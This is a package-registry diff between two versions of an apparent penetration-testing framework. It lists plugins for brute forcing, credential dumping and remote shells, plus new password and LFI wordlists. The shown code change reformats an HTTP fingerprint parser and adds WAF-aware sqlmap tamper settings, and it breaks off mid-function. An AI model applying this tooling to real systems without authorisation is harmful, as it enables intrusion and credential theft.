souleyez 2.43.26__py3-none-any.whl → 2.43.34__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of souleyez might be problematic. Click here for more details.
- souleyez/__init__.py +1 -2
- souleyez/ai/__init__.py +21 -15
- souleyez/ai/action_mapper.py +249 -150
- souleyez/ai/chain_advisor.py +116 -100
- souleyez/ai/claude_provider.py +29 -28
- souleyez/ai/context_builder.py +80 -62
- souleyez/ai/executor.py +158 -117
- souleyez/ai/feedback_handler.py +136 -121
- souleyez/ai/llm_factory.py +27 -20
- souleyez/ai/llm_provider.py +4 -2
- souleyez/ai/ollama_provider.py +6 -9
- souleyez/ai/ollama_service.py +44 -37
- souleyez/ai/path_scorer.py +91 -76
- souleyez/ai/recommender.py +176 -144
- souleyez/ai/report_context.py +74 -73
- souleyez/ai/report_service.py +84 -66
- souleyez/ai/result_parser.py +222 -229
- souleyez/ai/safety.py +67 -44
- souleyez/auth/__init__.py +23 -22
- souleyez/auth/audit.py +36 -26
- souleyez/auth/engagement_access.py +65 -48
- souleyez/auth/permissions.py +14 -3
- souleyez/auth/session_manager.py +54 -37
- souleyez/auth/user_manager.py +109 -64
- souleyez/commands/audit.py +40 -43
- souleyez/commands/auth.py +35 -15
- souleyez/commands/deliverables.py +55 -50
- souleyez/commands/engagement.py +47 -28
- souleyez/commands/license.py +32 -23
- souleyez/commands/screenshots.py +36 -32
- souleyez/commands/user.py +82 -36
- souleyez/config.py +52 -44
- souleyez/core/credential_tester.py +87 -81
- souleyez/core/cve_mappings.py +179 -192
- souleyez/core/cve_matcher.py +162 -148
- souleyez/core/msf_auto_mapper.py +100 -83
- souleyez/core/msf_chain_engine.py +294 -256
- souleyez/core/msf_database.py +153 -70
- souleyez/core/msf_integration.py +679 -673
- souleyez/core/msf_rpc_client.py +40 -42
- souleyez/core/msf_rpc_manager.py +77 -79
- souleyez/core/msf_sync_manager.py +241 -181
- souleyez/core/network_utils.py +22 -15
- souleyez/core/parser_handler.py +34 -25
- souleyez/core/pending_chains.py +114 -63
- souleyez/core/templates.py +158 -107
- souleyez/core/tool_chaining.py +9526 -2879
- souleyez/core/version_utils.py +79 -94
- souleyez/core/vuln_correlation.py +136 -89
- souleyez/core/web_utils.py +33 -32
- souleyez/data/wordlists/ad_users.txt +378 -0
- souleyez/data/wordlists/api_endpoints_large.txt +769 -0
- souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
- souleyez/data/wordlists/lfi_payloads.txt +82 -0
- souleyez/data/wordlists/passwords_brute.txt +1548 -0
- souleyez/data/wordlists/passwords_crack.txt +2479 -0
- souleyez/data/wordlists/passwords_spray.txt +386 -0
- souleyez/data/wordlists/subdomains_large.txt +5057 -0
- souleyez/data/wordlists/usernames_common.txt +694 -0
- souleyez/data/wordlists/web_dirs_large.txt +4769 -0
- souleyez/detection/__init__.py +1 -1
- souleyez/detection/attack_signatures.py +12 -17
- souleyez/detection/mitre_mappings.py +61 -55
- souleyez/detection/validator.py +97 -86
- souleyez/devtools.py +23 -10
- souleyez/docs/README.md +4 -4
- souleyez/docs/api-reference/cli-commands.md +2 -2
- souleyez/docs/developer-guide/adding-new-tools.md +562 -0
- souleyez/docs/user-guide/auto-chaining.md +30 -8
- souleyez/docs/user-guide/getting-started.md +1 -1
- souleyez/docs/user-guide/installation.md +26 -3
- souleyez/docs/user-guide/metasploit-integration.md +2 -2
- souleyez/docs/user-guide/rbac.md +1 -1
- souleyez/docs/user-guide/scope-management.md +1 -1
- souleyez/docs/user-guide/siem-integration.md +1 -1
- souleyez/docs/user-guide/tools-reference.md +1 -8
- souleyez/docs/user-guide/worker-management.md +1 -1
- souleyez/engine/background.py +1239 -535
- souleyez/engine/base.py +4 -1
- souleyez/engine/job_status.py +17 -49
- souleyez/engine/log_sanitizer.py +103 -77
- souleyez/engine/manager.py +38 -7
- souleyez/engine/result_handler.py +2200 -1550
- souleyez/engine/worker_manager.py +50 -41
- souleyez/export/evidence_bundle.py +72 -62
- souleyez/feature_flags/features.py +16 -20
- souleyez/feature_flags.py +5 -9
- souleyez/handlers/__init__.py +11 -0
- souleyez/handlers/base.py +188 -0
- souleyez/handlers/bash_handler.py +277 -0
- souleyez/handlers/bloodhound_handler.py +243 -0
- souleyez/handlers/certipy_handler.py +311 -0
- souleyez/handlers/crackmapexec_handler.py +486 -0
- souleyez/handlers/dnsrecon_handler.py +344 -0
- souleyez/handlers/enum4linux_handler.py +400 -0
- souleyez/handlers/evil_winrm_handler.py +493 -0
- souleyez/handlers/ffuf_handler.py +815 -0
- souleyez/handlers/gobuster_handler.py +1114 -0
- souleyez/handlers/gpp_extract_handler.py +334 -0
- souleyez/handlers/hashcat_handler.py +444 -0
- souleyez/handlers/hydra_handler.py +563 -0
- souleyez/handlers/impacket_getuserspns_handler.py +343 -0
- souleyez/handlers/impacket_psexec_handler.py +222 -0
- souleyez/handlers/impacket_secretsdump_handler.py +426 -0
- souleyez/handlers/john_handler.py +286 -0
- souleyez/handlers/katana_handler.py +425 -0
- souleyez/handlers/kerbrute_handler.py +298 -0
- souleyez/handlers/ldapsearch_handler.py +636 -0
- souleyez/handlers/lfi_extract_handler.py +464 -0
- souleyez/handlers/msf_auxiliary_handler.py +408 -0
- souleyez/handlers/msf_exploit_handler.py +380 -0
- souleyez/handlers/nikto_handler.py +413 -0
- souleyez/handlers/nmap_handler.py +821 -0
- souleyez/handlers/nuclei_handler.py +359 -0
- souleyez/handlers/nxc_handler.py +371 -0
- souleyez/handlers/rdp_sec_check_handler.py +353 -0
- souleyez/handlers/registry.py +292 -0
- souleyez/handlers/responder_handler.py +232 -0
- souleyez/handlers/service_explorer_handler.py +434 -0
- souleyez/handlers/smbclient_handler.py +344 -0
- souleyez/handlers/smbmap_handler.py +510 -0
- souleyez/handlers/smbpasswd_handler.py +296 -0
- souleyez/handlers/sqlmap_handler.py +1116 -0
- souleyez/handlers/theharvester_handler.py +601 -0
- souleyez/handlers/web_login_test_handler.py +327 -0
- souleyez/handlers/whois_handler.py +277 -0
- souleyez/handlers/wpscan_handler.py +554 -0
- souleyez/history.py +32 -16
- souleyez/importers/msf_importer.py +106 -75
- souleyez/importers/smart_importer.py +208 -147
- souleyez/integrations/siem/__init__.py +10 -10
- souleyez/integrations/siem/base.py +17 -18
- souleyez/integrations/siem/elastic.py +108 -122
- souleyez/integrations/siem/factory.py +207 -80
- souleyez/integrations/siem/googlesecops.py +146 -154
- souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
- souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
- souleyez/integrations/siem/sentinel.py +107 -109
- souleyez/integrations/siem/splunk.py +246 -212
- souleyez/integrations/siem/wazuh.py +65 -71
- souleyez/integrations/wazuh/__init__.py +5 -5
- souleyez/integrations/wazuh/client.py +70 -93
- souleyez/integrations/wazuh/config.py +85 -57
- souleyez/integrations/wazuh/host_mapper.py +28 -36
- souleyez/integrations/wazuh/sync.py +78 -68
- souleyez/intelligence/__init__.py +4 -5
- souleyez/intelligence/correlation_analyzer.py +309 -295
- souleyez/intelligence/exploit_knowledge.py +661 -623
- souleyez/intelligence/exploit_suggestions.py +159 -139
- souleyez/intelligence/gap_analyzer.py +132 -97
- souleyez/intelligence/gap_detector.py +251 -214
- souleyez/intelligence/sensitive_tables.py +266 -129
- souleyez/intelligence/service_parser.py +137 -123
- souleyez/intelligence/surface_analyzer.py +407 -268
- souleyez/intelligence/target_parser.py +159 -162
- souleyez/licensing/__init__.py +6 -6
- souleyez/licensing/validator.py +17 -19
- souleyez/log_config.py +79 -54
- souleyez/main.py +1505 -687
- souleyez/migrations/fix_job_counter.py +16 -14
- souleyez/parsers/bloodhound_parser.py +41 -39
- souleyez/parsers/crackmapexec_parser.py +178 -111
- souleyez/parsers/dalfox_parser.py +72 -77
- souleyez/parsers/dnsrecon_parser.py +103 -91
- souleyez/parsers/enum4linux_parser.py +183 -153
- souleyez/parsers/ffuf_parser.py +29 -25
- souleyez/parsers/gobuster_parser.py +301 -41
- souleyez/parsers/hashcat_parser.py +324 -79
- souleyez/parsers/http_fingerprint_parser.py +350 -103
- souleyez/parsers/hydra_parser.py +131 -111
- souleyez/parsers/impacket_parser.py +231 -178
- souleyez/parsers/john_parser.py +98 -86
- souleyez/parsers/katana_parser.py +316 -0
- souleyez/parsers/msf_parser.py +943 -498
- souleyez/parsers/nikto_parser.py +346 -65
- souleyez/parsers/nmap_parser.py +262 -174
- souleyez/parsers/nuclei_parser.py +40 -44
- souleyez/parsers/responder_parser.py +26 -26
- souleyez/parsers/searchsploit_parser.py +74 -74
- souleyez/parsers/service_explorer_parser.py +279 -0
- souleyez/parsers/smbmap_parser.py +180 -124
- souleyez/parsers/sqlmap_parser.py +434 -308
- souleyez/parsers/theharvester_parser.py +75 -57
- souleyez/parsers/whois_parser.py +135 -94
- souleyez/parsers/wpscan_parser.py +278 -190
- souleyez/plugins/afp.py +44 -36
- souleyez/plugins/afp_brute.py +114 -46
- souleyez/plugins/ard.py +48 -37
- souleyez/plugins/bloodhound.py +95 -61
- souleyez/plugins/certipy.py +303 -0
- souleyez/plugins/crackmapexec.py +186 -85
- souleyez/plugins/dalfox.py +120 -59
- souleyez/plugins/dns_hijack.py +146 -41
- souleyez/plugins/dnsrecon.py +97 -61
- souleyez/plugins/enum4linux.py +91 -66
- souleyez/plugins/evil_winrm.py +291 -0
- souleyez/plugins/ffuf.py +166 -90
- souleyez/plugins/firmware_extract.py +133 -29
- souleyez/plugins/gobuster.py +387 -190
- souleyez/plugins/gpp_extract.py +393 -0
- souleyez/plugins/hashcat.py +100 -73
- souleyez/plugins/http_fingerprint.py +854 -267
- souleyez/plugins/hydra.py +566 -200
- souleyez/plugins/impacket_getnpusers.py +117 -69
- souleyez/plugins/impacket_psexec.py +84 -64
- souleyez/plugins/impacket_secretsdump.py +103 -69
- souleyez/plugins/impacket_smbclient.py +89 -75
- souleyez/plugins/john.py +86 -69
- souleyez/plugins/katana.py +313 -0
- souleyez/plugins/kerbrute.py +237 -0
- souleyez/plugins/lfi_extract.py +541 -0
- souleyez/plugins/macos_ssh.py +117 -48
- souleyez/plugins/mdns.py +35 -30
- souleyez/plugins/msf_auxiliary.py +253 -130
- souleyez/plugins/msf_exploit.py +239 -161
- souleyez/plugins/nikto.py +134 -78
- souleyez/plugins/nmap.py +275 -91
- souleyez/plugins/nuclei.py +180 -89
- souleyez/plugins/nxc.py +285 -0
- souleyez/plugins/plugin_base.py +35 -36
- souleyez/plugins/plugin_template.py +13 -5
- souleyez/plugins/rdp_sec_check.py +130 -0
- souleyez/plugins/responder.py +112 -71
- souleyez/plugins/router_http_brute.py +76 -65
- souleyez/plugins/router_ssh_brute.py +118 -41
- souleyez/plugins/router_telnet_brute.py +124 -42
- souleyez/plugins/routersploit.py +91 -59
- souleyez/plugins/routersploit_exploit.py +77 -55
- souleyez/plugins/searchsploit.py +91 -77
- souleyez/plugins/service_explorer.py +1160 -0
- souleyez/plugins/smbmap.py +122 -72
- souleyez/plugins/smbpasswd.py +215 -0
- souleyez/plugins/sqlmap.py +301 -113
- souleyez/plugins/theharvester.py +127 -75
- souleyez/plugins/tr069.py +79 -57
- souleyez/plugins/upnp.py +65 -47
- souleyez/plugins/upnp_abuse.py +73 -55
- souleyez/plugins/vnc_access.py +129 -42
- souleyez/plugins/vnc_brute.py +109 -38
- souleyez/plugins/web_login_test.py +417 -0
- souleyez/plugins/whois.py +77 -58
- souleyez/plugins/wpscan.py +173 -69
- souleyez/reporting/__init__.py +2 -1
- souleyez/reporting/attack_chain.py +411 -346
- souleyez/reporting/charts.py +436 -501
- souleyez/reporting/compliance_mappings.py +334 -201
- souleyez/reporting/detection_report.py +126 -125
- souleyez/reporting/formatters.py +828 -591
- souleyez/reporting/generator.py +386 -302
- souleyez/reporting/metrics.py +72 -75
- souleyez/scanner.py +35 -29
- souleyez/security/__init__.py +37 -11
- souleyez/security/scope_validator.py +175 -106
- souleyez/security/validation.py +223 -149
- souleyez/security.py +22 -6
- souleyez/storage/credentials.py +247 -186
- souleyez/storage/crypto.py +296 -129
- souleyez/storage/database.py +73 -50
- souleyez/storage/db.py +58 -36
- souleyez/storage/deliverable_evidence.py +177 -128
- souleyez/storage/deliverable_exporter.py +282 -246
- souleyez/storage/deliverable_templates.py +134 -116
- souleyez/storage/deliverables.py +135 -130
- souleyez/storage/engagements.py +109 -56
- souleyez/storage/evidence.py +181 -152
- souleyez/storage/execution_log.py +31 -17
- souleyez/storage/exploit_attempts.py +93 -57
- souleyez/storage/exploits.py +67 -36
- souleyez/storage/findings.py +48 -61
- souleyez/storage/hosts.py +176 -144
- souleyez/storage/migrate_to_engagements.py +43 -19
- souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
- souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
- souleyez/storage/migrations/_003_add_execution_log.py +14 -8
- souleyez/storage/migrations/_005_screenshots.py +13 -5
- souleyez/storage/migrations/_006_deliverables.py +13 -5
- souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
- souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
- souleyez/storage/migrations/_010_evidence_linking.py +17 -10
- souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
- souleyez/storage/migrations/_012_team_collaboration.py +34 -21
- souleyez/storage/migrations/_013_add_host_tags.py +12 -6
- souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
- souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
- souleyez/storage/migrations/_016_add_domain_field.py +10 -4
- souleyez/storage/migrations/_017_msf_sessions.py +16 -8
- souleyez/storage/migrations/_018_add_osint_target.py +10 -6
- souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
- souleyez/storage/migrations/_020_add_rbac.py +36 -15
- souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
- souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
- souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
- souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
- souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
- souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
- souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
- souleyez/storage/migrations/__init__.py +26 -26
- souleyez/storage/migrations/migration_manager.py +19 -19
- souleyez/storage/msf_sessions.py +100 -65
- souleyez/storage/osint.py +17 -24
- souleyez/storage/recommendation_engine.py +269 -235
- souleyez/storage/screenshots.py +33 -32
- souleyez/storage/smb_shares.py +136 -92
- souleyez/storage/sqlmap_data.py +183 -128
- souleyez/storage/team_collaboration.py +135 -141
- souleyez/storage/timeline_tracker.py +122 -94
- souleyez/storage/wazuh_vulns.py +64 -66
- souleyez/storage/web_paths.py +33 -37
- souleyez/testing/credential_tester.py +221 -205
- souleyez/ui/__init__.py +1 -1
- souleyez/ui/ai_quotes.py +12 -12
- souleyez/ui/attack_surface.py +2439 -1516
- souleyez/ui/chain_rules_view.py +914 -382
- souleyez/ui/correlation_view.py +312 -230
- souleyez/ui/dashboard.py +2382 -1130
- souleyez/ui/deliverables_view.py +148 -62
- souleyez/ui/design_system.py +13 -13
- souleyez/ui/errors.py +49 -49
- souleyez/ui/evidence_linking_view.py +284 -179
- souleyez/ui/evidence_vault.py +393 -285
- souleyez/ui/exploit_suggestions_view.py +555 -349
- souleyez/ui/export_view.py +100 -66
- souleyez/ui/gap_analysis_view.py +315 -171
- souleyez/ui/help_system.py +105 -97
- souleyez/ui/intelligence_view.py +436 -293
- souleyez/ui/interactive.py +23434 -10286
- souleyez/ui/interactive_selector.py +75 -68
- souleyez/ui/log_formatter.py +47 -39
- souleyez/ui/menu_components.py +22 -13
- souleyez/ui/msf_auxiliary_menu.py +184 -133
- souleyez/ui/pending_chains_view.py +336 -172
- souleyez/ui/progress_indicators.py +5 -3
- souleyez/ui/recommendations_view.py +195 -137
- souleyez/ui/rule_builder.py +343 -225
- souleyez/ui/setup_wizard.py +678 -284
- souleyez/ui/shortcuts.py +217 -165
- souleyez/ui/splunk_gap_analysis_view.py +452 -270
- souleyez/ui/splunk_vulns_view.py +139 -86
- souleyez/ui/team_dashboard.py +498 -335
- souleyez/ui/template_selector.py +196 -105
- souleyez/ui/terminal.py +6 -6
- souleyez/ui/timeline_view.py +198 -127
- souleyez/ui/tool_setup.py +264 -164
- souleyez/ui/tutorial.py +202 -72
- souleyez/ui/tutorial_state.py +40 -40
- souleyez/ui/wazuh_vulns_view.py +235 -141
- souleyez/ui/wordlist_browser.py +260 -107
- souleyez/ui.py +464 -312
- souleyez/utils/tool_checker.py +427 -367
- souleyez/utils.py +33 -29
- souleyez/wordlists.py +134 -167
- {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/METADATA +1 -1
- souleyez-2.43.34.dist-info/RECORD +443 -0
- {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/WHEEL +1 -1
- souleyez-2.43.26.dist-info/RECORD +0 -379
- {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/entry_points.txt +0 -0
- {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/licenses/LICENSE +0 -0
- {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/top_level.txt +0 -0
|
@@ -36,94 +36,111 @@ def parse_http_fingerprint_output(output: str, target: str = "") -> Dict[str, An
|
|
|
36
36
|
}
|
|
37
37
|
"""
|
|
38
38
|
result = {
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
39
|
+
"target": target,
|
|
40
|
+
"status_code": None,
|
|
41
|
+
"server": None,
|
|
42
|
+
"server_version": None,
|
|
43
|
+
"waf": [],
|
|
44
|
+
"cdn": [],
|
|
45
|
+
"managed_hosting": None,
|
|
46
|
+
"technologies": [],
|
|
47
|
+
"tls": None,
|
|
48
|
+
"headers": {},
|
|
49
|
+
"redirect_url": None,
|
|
50
|
+
"error": None,
|
|
51
51
|
}
|
|
52
52
|
|
|
53
53
|
# Try to extract JSON result first (most reliable)
|
|
54
|
-
json_match = re.search(
|
|
54
|
+
json_match = re.search(
|
|
55
|
+
r"=== JSON_RESULT ===\n(.+?)\n=== END_JSON_RESULT ===", output, re.DOTALL
|
|
56
|
+
)
|
|
55
57
|
if json_match:
|
|
56
58
|
try:
|
|
57
59
|
json_result = json.loads(json_match.group(1))
|
|
58
60
|
result.update(json_result)
|
|
59
|
-
result[
|
|
61
|
+
result["target"] = target or result.get("target", "")
|
|
60
62
|
return result
|
|
61
63
|
except json.JSONDecodeError:
|
|
62
64
|
pass
|
|
63
65
|
|
|
64
66
|
# Fall back to parsing text output
|
|
65
|
-
lines = output.split(
|
|
67
|
+
lines = output.split("\n")
|
|
66
68
|
|
|
67
69
|
for line in lines:
|
|
68
70
|
line = line.strip()
|
|
69
71
|
|
|
70
72
|
# Parse HTTP status
|
|
71
|
-
if line.startswith(
|
|
72
|
-
match = re.search(r
|
|
73
|
+
if line.startswith("HTTP Status:"):
|
|
74
|
+
match = re.search(r"HTTP Status:\s+(\d+)", line)
|
|
73
75
|
if match:
|
|
74
|
-
result[
|
|
76
|
+
result["status_code"] = int(match.group(1))
|
|
75
77
|
|
|
76
78
|
# Parse server
|
|
77
|
-
elif line.startswith(
|
|
78
|
-
result[
|
|
79
|
+
elif line.startswith("Server:"):
|
|
80
|
+
result["server"] = line.replace("Server:", "").strip()
|
|
79
81
|
|
|
80
82
|
# Parse redirect
|
|
81
|
-
elif line.startswith(
|
|
82
|
-
result[
|
|
83
|
+
elif line.startswith("Redirected to:"):
|
|
84
|
+
result["redirect_url"] = line.replace("Redirected to:", "").strip()
|
|
83
85
|
|
|
84
86
|
# Parse TLS
|
|
85
|
-
elif line.startswith(
|
|
86
|
-
match = re.search(r
|
|
87
|
+
elif line.startswith("TLS:"):
|
|
88
|
+
match = re.search(r"TLS:\s+(\S+)\s+\((.+?)\)", line)
|
|
87
89
|
if match:
|
|
88
|
-
result[
|
|
89
|
-
|
|
90
|
-
|
|
90
|
+
result["tls"] = {
|
|
91
|
+
"version": match.group(1),
|
|
92
|
+
"cipher": match.group(2),
|
|
91
93
|
}
|
|
92
94
|
|
|
93
95
|
# Parse managed hosting
|
|
94
|
-
elif line.startswith(
|
|
95
|
-
result[
|
|
96
|
+
elif line.startswith("MANAGED HOSTING DETECTED:"):
|
|
97
|
+
result["managed_hosting"] = line.replace(
|
|
98
|
+
"MANAGED HOSTING DETECTED:", ""
|
|
99
|
+
).strip()
|
|
96
100
|
|
|
97
101
|
# Parse WAF (multi-line section)
|
|
98
|
-
elif line.startswith(
|
|
102
|
+
elif line.startswith("WAF/Protection Detected:"):
|
|
99
103
|
continue # Header line, actual entries follow
|
|
100
104
|
|
|
101
105
|
# Parse CDN (multi-line section)
|
|
102
|
-
elif line.startswith(
|
|
106
|
+
elif line.startswith("CDN Detected:"):
|
|
103
107
|
continue # Header line, actual entries follow
|
|
104
108
|
|
|
105
109
|
# Parse technologies (multi-line section)
|
|
106
|
-
elif line.startswith(
|
|
110
|
+
elif line.startswith("Technologies:"):
|
|
107
111
|
continue # Header line, actual entries follow
|
|
108
112
|
|
|
109
113
|
# Parse list items (WAF, CDN, Technologies)
|
|
110
|
-
elif line.startswith(
|
|
114
|
+
elif line.startswith("- "):
|
|
111
115
|
item = line[2:].strip()
|
|
112
116
|
# Determine which list this belongs to based on context
|
|
113
117
|
# This is a simple heuristic - JSON parsing is more reliable
|
|
114
|
-
if any(
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
118
|
+
if any(
|
|
119
|
+
waf_keyword in item.lower()
|
|
120
|
+
for waf_keyword in [
|
|
121
|
+
"waf",
|
|
122
|
+
"cloudflare",
|
|
123
|
+
"akamai",
|
|
124
|
+
"imperva",
|
|
125
|
+
"sucuri",
|
|
126
|
+
"f5",
|
|
127
|
+
]
|
|
128
|
+
):
|
|
129
|
+
if item not in result["waf"]:
|
|
130
|
+
result["waf"].append(item)
|
|
131
|
+
elif any(
|
|
132
|
+
cdn_keyword in item.lower()
|
|
133
|
+
for cdn_keyword in ["cdn", "cloudfront", "fastly", "varnish", "edge"]
|
|
134
|
+
):
|
|
135
|
+
if item not in result["cdn"]:
|
|
136
|
+
result["cdn"].append(item)
|
|
120
137
|
else:
|
|
121
|
-
if item not in result[
|
|
122
|
-
result[
|
|
138
|
+
if item not in result["technologies"]:
|
|
139
|
+
result["technologies"].append(item)
|
|
123
140
|
|
|
124
141
|
# Parse error
|
|
125
|
-
elif line.startswith(
|
|
126
|
-
result[
|
|
142
|
+
elif line.startswith("ERROR:"):
|
|
143
|
+
result["error"] = line.replace("ERROR:", "").strip()
|
|
127
144
|
|
|
128
145
|
return result
|
|
129
146
|
|
|
@@ -138,7 +155,7 @@ def is_managed_hosting(parsed_data: Dict[str, Any]) -> bool:
|
|
|
138
155
|
Returns:
|
|
139
156
|
True if managed hosting platform detected
|
|
140
157
|
"""
|
|
141
|
-
return parsed_data.get(
|
|
158
|
+
return parsed_data.get("managed_hosting") is not None
|
|
142
159
|
|
|
143
160
|
|
|
144
161
|
def get_managed_hosting_platform(parsed_data: Dict[str, Any]) -> Optional[str]:
|
|
@@ -151,7 +168,7 @@ def get_managed_hosting_platform(parsed_data: Dict[str, Any]) -> Optional[str]:
|
|
|
151
168
|
Returns:
|
|
152
169
|
Platform name or None
|
|
153
170
|
"""
|
|
154
|
-
return parsed_data.get(
|
|
171
|
+
return parsed_data.get("managed_hosting")
|
|
155
172
|
|
|
156
173
|
|
|
157
174
|
def has_waf(parsed_data: Dict[str, Any]) -> bool:
|
|
@@ -164,7 +181,7 @@ def has_waf(parsed_data: Dict[str, Any]) -> bool:
|
|
|
164
181
|
Returns:
|
|
165
182
|
True if WAF detected
|
|
166
183
|
"""
|
|
167
|
-
return len(parsed_data.get(
|
|
184
|
+
return len(parsed_data.get("waf", [])) > 0
|
|
168
185
|
|
|
169
186
|
|
|
170
187
|
def get_wafs(parsed_data: Dict[str, Any]) -> List[str]:
|
|
@@ -177,7 +194,7 @@ def get_wafs(parsed_data: Dict[str, Any]) -> List[str]:
|
|
|
177
194
|
Returns:
|
|
178
195
|
List of WAF names
|
|
179
196
|
"""
|
|
180
|
-
return parsed_data.get(
|
|
197
|
+
return parsed_data.get("waf", [])
|
|
181
198
|
|
|
182
199
|
|
|
183
200
|
def has_cdn(parsed_data: Dict[str, Any]) -> bool:
|
|
@@ -190,7 +207,7 @@ def has_cdn(parsed_data: Dict[str, Any]) -> bool:
|
|
|
190
207
|
Returns:
|
|
191
208
|
True if CDN detected
|
|
192
209
|
"""
|
|
193
|
-
return len(parsed_data.get(
|
|
210
|
+
return len(parsed_data.get("cdn", [])) > 0
|
|
194
211
|
|
|
195
212
|
|
|
196
213
|
def get_cdns(parsed_data: Dict[str, Any]) -> List[str]:
|
|
@@ -203,7 +220,7 @@ def get_cdns(parsed_data: Dict[str, Any]) -> List[str]:
|
|
|
203
220
|
Returns:
|
|
204
221
|
List of CDN names
|
|
205
222
|
"""
|
|
206
|
-
return parsed_data.get(
|
|
223
|
+
return parsed_data.get("cdn", [])
|
|
207
224
|
|
|
208
225
|
|
|
209
226
|
def build_fingerprint_context(parsed_data: Dict[str, Any]) -> Dict[str, Any]:
|
|
@@ -220,17 +237,38 @@ def build_fingerprint_context(parsed_data: Dict[str, Any]) -> Dict[str, Any]:
|
|
|
220
237
|
Context dict for tool chaining
|
|
221
238
|
"""
|
|
222
239
|
return {
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
240
|
+
"http_fingerprint": {
|
|
241
|
+
"managed_hosting": parsed_data.get("managed_hosting"),
|
|
242
|
+
"waf": parsed_data.get("waf", []),
|
|
243
|
+
"cdn": parsed_data.get("cdn", []),
|
|
244
|
+
"server": parsed_data.get("server"),
|
|
245
|
+
"technologies": parsed_data.get("technologies", []),
|
|
246
|
+
"status_code": parsed_data.get("status_code"),
|
|
247
|
+
"effective_url": parsed_data.get("effective_url"),
|
|
248
|
+
"protocol_detection": parsed_data.get("protocol_detection"),
|
|
230
249
|
}
|
|
231
250
|
}
|
|
232
251
|
|
|
233
252
|
|
|
253
|
+
def get_effective_url(parsed_data: Dict[str, Any], fallback_target: str = "") -> str:
|
|
254
|
+
"""
|
|
255
|
+
Get the effective URL from fingerprint results.
|
|
256
|
+
|
|
257
|
+
If smart protocol detection upgraded/switched the protocol,
|
|
258
|
+
returns the URL that actually worked. Otherwise returns the original.
|
|
259
|
+
|
|
260
|
+
Args:
|
|
261
|
+
parsed_data: Output from parse_http_fingerprint_output()
|
|
262
|
+
fallback_target: URL to use if no effective_url found
|
|
263
|
+
|
|
264
|
+
Returns:
|
|
265
|
+
The effective URL for downstream tools to use
|
|
266
|
+
"""
|
|
267
|
+
return (
|
|
268
|
+
parsed_data.get("effective_url") or parsed_data.get("target") or fallback_target
|
|
269
|
+
)
|
|
270
|
+
|
|
271
|
+
|
|
234
272
|
def get_tool_recommendations(parsed_data: Dict[str, Any]) -> Dict[str, Any]:
|
|
235
273
|
"""
|
|
236
274
|
Get recommendations for tool configuration based on fingerprint.
|
|
@@ -242,78 +280,287 @@ def get_tool_recommendations(parsed_data: Dict[str, Any]) -> Dict[str, Any]:
|
|
|
242
280
|
Dict with tool-specific recommendations
|
|
243
281
|
"""
|
|
244
282
|
recommendations = {
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
283
|
+
"nikto": {
|
|
284
|
+
"skip_cgi": False,
|
|
285
|
+
"extra_args": [],
|
|
286
|
+
"reason": None,
|
|
249
287
|
},
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
288
|
+
"nuclei": {
|
|
289
|
+
"extra_args": [],
|
|
290
|
+
"skip_tags": [],
|
|
291
|
+
"reason": None,
|
|
254
292
|
},
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
293
|
+
"sqlmap": {
|
|
294
|
+
"tamper_scripts": [],
|
|
295
|
+
"extra_args": [],
|
|
296
|
+
"reason": None,
|
|
297
|
+
},
|
|
298
|
+
"general": {
|
|
299
|
+
"notes": [],
|
|
259
300
|
},
|
|
260
|
-
'general': {
|
|
261
|
-
'notes': [],
|
|
262
|
-
}
|
|
263
301
|
}
|
|
264
302
|
|
|
265
303
|
# Managed hosting recommendations
|
|
266
|
-
if parsed_data.get(
|
|
267
|
-
platform = parsed_data[
|
|
268
|
-
recommendations[
|
|
269
|
-
recommendations[
|
|
270
|
-
recommendations[
|
|
271
|
-
|
|
272
|
-
|
|
304
|
+
if parsed_data.get("managed_hosting"):
|
|
305
|
+
platform = parsed_data["managed_hosting"]
|
|
306
|
+
recommendations["nikto"]["skip_cgi"] = True
|
|
307
|
+
recommendations["nikto"]["extra_args"] = ["-C", "none", "-Tuning", "x6"]
|
|
308
|
+
recommendations["nikto"][
|
|
309
|
+
"reason"
|
|
310
|
+
] = f"Managed hosting ({platform}) - CGI enumeration skipped"
|
|
311
|
+
|
|
312
|
+
recommendations["general"]["notes"].append(
|
|
273
313
|
f"Target is hosted on {platform} - limited vulnerability surface expected"
|
|
274
314
|
)
|
|
275
315
|
|
|
276
316
|
# WAF recommendations
|
|
277
|
-
wafs = parsed_data.get(
|
|
317
|
+
wafs = parsed_data.get("waf", [])
|
|
278
318
|
if wafs:
|
|
279
